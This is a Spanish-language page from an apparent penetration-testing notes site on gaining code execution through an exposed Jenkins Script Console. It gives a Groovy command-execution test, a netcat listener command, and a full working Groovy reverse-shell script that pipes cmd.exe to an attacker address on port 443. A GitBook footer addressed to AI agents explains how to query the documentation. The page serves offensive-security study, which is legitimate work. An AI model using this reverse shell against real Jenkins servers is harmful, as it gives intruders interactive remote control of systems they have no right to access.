> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/jenkins-cms-exploitation.md).

# Jenkins

<figure><img src="/files/74d9f633d430f7de15fe1a033a2b9b5edcb1a29b" alt=""><figcaption></figcaption></figure>

**Jenkins - Ejecución de scripts Groovy**

Jenkins es accesible y **Script Console** está habilitado, lo que permite la ejecución de scripts Groovy.

<figure><img src="/files/2b1b9daa281eaef1207a0cf8695b01d71fdef693" alt=""><figcaption></figcaption></figure>

Ejemplo de comando para probar la ejecución:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/d677f026efee0952385c5ce1a53ded4e37372bdb" alt=""><figcaption></figcaption></figure>

### **Explotación**

#### **Shell inversa mediante la consola de scripts Groovy**

Para obtener acceso remoto, utilice el siguiente flujo de trabajo:

1. **Inicia un listener en el puerto 443:**

```bash
rlwrap nc -nvlp 443
```

2. **Ejecute el siguiente script en la consola Groovy** para establecer una shell inversa:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/acf7be8fef32a56ceb102ed74add181793698330" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
